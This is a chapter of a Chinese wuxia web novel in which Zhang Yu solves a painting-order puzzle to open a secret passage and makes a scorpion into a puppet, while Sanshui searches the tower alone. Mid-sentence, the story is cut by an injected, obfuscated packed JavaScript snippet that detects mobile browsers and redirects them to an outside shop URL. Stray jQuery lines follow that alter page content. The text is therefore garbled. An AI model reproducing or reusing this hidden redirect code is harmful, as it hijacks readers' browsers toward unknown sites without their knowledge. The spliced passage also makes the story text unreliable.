61.画移虫动藏机变,塔寂人悄待异声

作品:《江湖游鱼

    苗箜顺着她手指的方向看过去,只见墙角阴影里,有一只暗褐色的蟑螂。


    那蟑螂仰面躺着,几条细腿偶尔抽动一下,却翻不过身,看起来像是濒死,但抽动的频率又透着一股不自然的僵硬。


    苗箜猛地向后飘开一大截,声音都变了调:“蟑、蟑蟑...蟑螂!”


    章予看他那副样子,忍不住笑出声:“这么多年过去了,你怎么还是这么怕蟑螂?你就没用它炼过蛊吗?”


    她边说边走上前,蹲下身,仔细去观察那只蟑螂。


    那蟑螂的外壳在微弱光线下泛着一种不正常的油亮光泽,几条细腿的抽动也像是被看不见的线牵引着。


    最奇特的是它头顶两根触须,明明没有风吹过,却一直朝着同一个方向微微颤动


    苗箜强忍着害怕,也凑近了些:“它这是变成傀儡了?”


    章予伸出两根手指,小心地捏住蟑螂的背壳,将它提了起来。


    蟑螂终于在她指尖下挣扎起来,章予也不害怕,反倒将它举到眼前,问苗箜:“炼成的傀儡,是不是谁炼的,就听谁的号令?”


    苗箜立刻答道:“这是自然。”


    章予又问:“你能看出来,它大概是什么时候被炼成这样的吗?”


    苗箜忍着害怕和恶心仔细观察了一番:“看它外壳药渍未干,关节僵硬的程度,大概就是一刻钟之前。”


    章予点点头,将那只兀自划动着腿的蟑螂傀儡轻轻放在一旁地面上,垂眸沉思起来。


    苗箜飘到她身侧,惴惴不安地问:“怎么了吗?这虫子有什么问题?”


    章予抬眼:“你说,炼制傀儡,会不会就是开启那个焚尸坑的办法?”


    “啊?”苗箜一愣,随即摇头,“不会吧?这里离焚尸坑还有好长一段路呢。五水道长难道每次炼制完,都要亲自拖着那些尸体,走那么远的路去丢掉吗?那多麻烦。”


    章予没有直接回答苗箜的问题,她不再看那只蟑螂,而是转过身,目光投向墙壁上错落悬挂着几幅画。


    她站在原地,从最左边一幅看起,这几幅画单看内容,都是常见的道家修行题材。


    苗箜飘在一旁,见章予只是专注看画,忍不住开口:“小予,这些画有什么问题吗?”


    章予这才收回目光:“这几幅画,看笔意和设色,像是前朝洛水一脉的,”


    她抬手指向那几幅画,“你看,行旅、探秘、遇火、得丹。这讲的该是一个完整的寻仙炼丹的故事,有起承转合,但现在这顺序是乱的,得丹挂在了遇火前面,故事就讲不通了。”


    “故事?”苗箜似懂非懂。


    “嗯,”章予点头,“一个很老套的方外故事,但在这里,这顺序恐怕不只是为了看着舒服。”


    她说着,动身走到墙壁前:““我来的路上,虽然跟着你走,但也特意留心记住了我们转弯的大致方位。以前我和三水偷偷离家出走的时候,可就靠我这辨认方向的本事,才没走错路。”


    她伸手,将四幅画按照她所说的叙事顺序重新排列好,随后,她站在最后那幅得丹前,伸出双手,握住卷轴两端,稳稳地向内一按。


    岩壁上几道原本毫不起眼的缝隙忽然对齐,紧接着,一块约莫一人高的岩壁悄无声息地向内滑开,露出后面一条向下倾斜的通道。


    “这是,焚尸坑旁边那条通道?”


    “你看地面。”章予指着新出现的通道口附近,“这里有拖拽的痕迹,我早在无尘掉下去之前就注意到了。后来跟着你走的时候,我也一直在留意,痕迹到了这里,就消失了。“


    苗箜极为震惊:“那、那我们刚才绕来绕去走了那么半天......算什么?”


    章予笑起来:“我试过了,从我们刚才走过的通道那边推,这块石头纹丝不动。恐怕得从里面,或者像刚才那样,把这故事的机关顺序摆对了,它才会开。”


    苗箜沉默了一下,感叹道:“你好聪明,怪不得小篌那么喜欢你。”


    章予正要说什么,苗箜又忽然兴致勃勃地开口:“那我们赶紧试着炼制傀儡吧!用那个法子打开焚尸坑!”


    但他马上又失落下来:“可是......可是我不会炼制傀儡啊。”


    章予拍了拍手上的灰,嘴角一扬:“可别小瞧你面前这个天才。我虽然不喜欢死读书,但记性还不差,刚才在那藏书室里,可记了不少关键步骤和药引配方.”


    苗箜忍不住吐槽:“你还是那么自恋。”


    章予只道:“那你且瞧着。不过在这之前,我们得返回去一趟。”


    苗箜疑惑:“回去?回哪里?”


    章予道:“回到刚刚有很多毒虫的那个地方,你还记得吗?”


    苗箜立刻阻止:“那里很危险的!那些虫子是看守通道的蛊虫,沾上就麻烦,你要回那里干什么?”


    章予道:“五水道长能用它们做蛊毒,看守通道,那我用它们自然也有用处。炼制傀儡总需要材料,现成的、带着凶性的毒虫,或许比死物更好。说来,那些毒虫里面,是蜈蚣厉害些,还是蝎子厉害?”


    这想法太过冒险,当初苗篌想捉蝎王来炼蛊,苗箜都絮絮叨叨地劝阻了两天两夜。


    只是,只是面前这个女孩的眼神太过坚定,笑容太过灿烂,似乎一些都成竹在胸,对她来说,做什么都游刃有余。


    她的手垂在腿侧,微微握着。生命线,事业线,连接起来,她将天地握住了。


    最终,他沉默了一下,只道:“蜈蚣阴毒,蝎子烈性,若论炼制傀儡的凶悍和可控,或许蝎子好一些。我领你回去,但你千万小心,绝对不能被它们叮咬,尤其注意不要被种下心蛊。”


    章予其实心里也没十足的把握,她对傀儡之术的了解仅限于刚才那匆匆一瞥的记载,炼制活虫更是头一遭。


    但无尘还困在下面,此刻不知在焚尸坑里是何等光景。


    以他的性子,怕是早就把能说的、不能说的身世来历都抖落个干净,和那些小鬼讲起江湖传说了吧。


    章予点头:“你放心,我必然万般小心。”


    不多时,两人带着捕获的毒蝎,再次回到密室。


    从藏书室角落找来的、未曾用过的小型石臼与玉杵,几个干净的陶碟,还有她根据记忆配比研磨好的几种药粉。


    章予将它们一一摆开,这些皆是那些傀儡典籍中提及的材料,古典有云:“以药石炼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973272|189445||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    形,可近不朽;以符箓引灵,可驱鬼物。”


    她先按照“净秽”步骤,以特制药水清洁石臼玉杵。随后,小心翼翼地将那只被麻沸药液暂时制住的毒蝎取出,置于石臼旁。毒蝎尾钩微颤,显然药力将过。


    “古籍提及‘偶人’,虽言其不能动人呼吸,然巧匠可使其似生。”章予低声自语,手上动作不停,“今以毒虫为基,取其生性凶戾,或可省却赋凶一步。”


    她回忆着那些记录:炼制活物为儡,关键在于压制其原本意识,同时以特定手法将外来的的指令刻印进去,并辅以药物稳固这种状态。


    她取出锦囊中的银针,在毒蝎头胸甲壳连接处一个极细微的点上,轻轻刺入。针尖蘸了少许混合着的药剂,缓缓捻入。


    毒蝎身体猛地一颤,尾钩骤然弹起,但随即又被章予以巧劲按住。她全神贯注,回想并模仿着记录中描述的内力流转方式。


    这个过程持续了约莫一盏茶的时间,章予额角渗出细汗,如此精准地去控制内力,又保持这样高度集中的状态,时刻感应着毒蝎的抵抗与变化,着实让她十分疲惫。


    苗箜在一旁紧张地晃动,不敢出声打扰。


    时机到了,章予迅速拔出银针,再将准备好的药粉,以少许清水调成糊状,又拔下头上的簪子蘸取,在毒蝎背甲上绘制了一个符文。


    随后,她将毒蝎放入一个先前蟑螂所在的铺着黑色细沙的陶盘中。按照笔记说法,此时需静置片刻,待药力与符印结合,指令稳固。


    约莫半柱香后,陶盘中的毒蝎,那软垂的尾钩,极其轻微地动了一下。


    与此同时,古塔一层。


    三水已经将一层可能存放医药典籍的区域翻找了大半。


    她找到一些常见的解毒方剂记录,甚至有几本颇珍稀的毒经,但翻遍之后,却始终没有找到与父亲所中之毒症状完全吻合,与那日武安城毒雾性质高度相似的记载。


    时间一点点过去,章予和无尘上楼探查,却许久没有动静,也没有任何声音传来。


    她心中的不安愈演愈烈。


    终于,她停下徒劳的翻找,决定上楼看看。


    她放轻脚步,沿着那架老旧的木梯走上二楼。二楼空旷寂静,不见章予,也不见无尘,地上只有一些散落的竹简和翻倒的瓶罐,像是有人匆忙搜寻过的痕迹。


    她试着呼唤两人的名字,声音在塔内轻轻回荡,没有任何回应。


    三水的心沉了下去,不由有些焦急,两人难道凭空消失了?


    她强自镇定,开始仔细地研究石板上太极八卦和五行符号的排列,试图找出规律。


    就在她全神贯注之际,忽然听到楼下传来声响。


    不是风声,也不是虫鸣。


    那声音很像是书页被轻轻翻动的声音,动静不小,就从一楼传来。


    三水立刻停下所有动作,屏住呼吸,侧耳细听。


    没错,是有什么在翻动那些散落的书,书页哗哗作响,盖过三水震耳欲聋的心跳。


    她轻轻走到楼梯口,向下望去,从这个角度,只能看到一层一小片区域,空无一人。


    但那翻书的沙沙声,依旧持续着......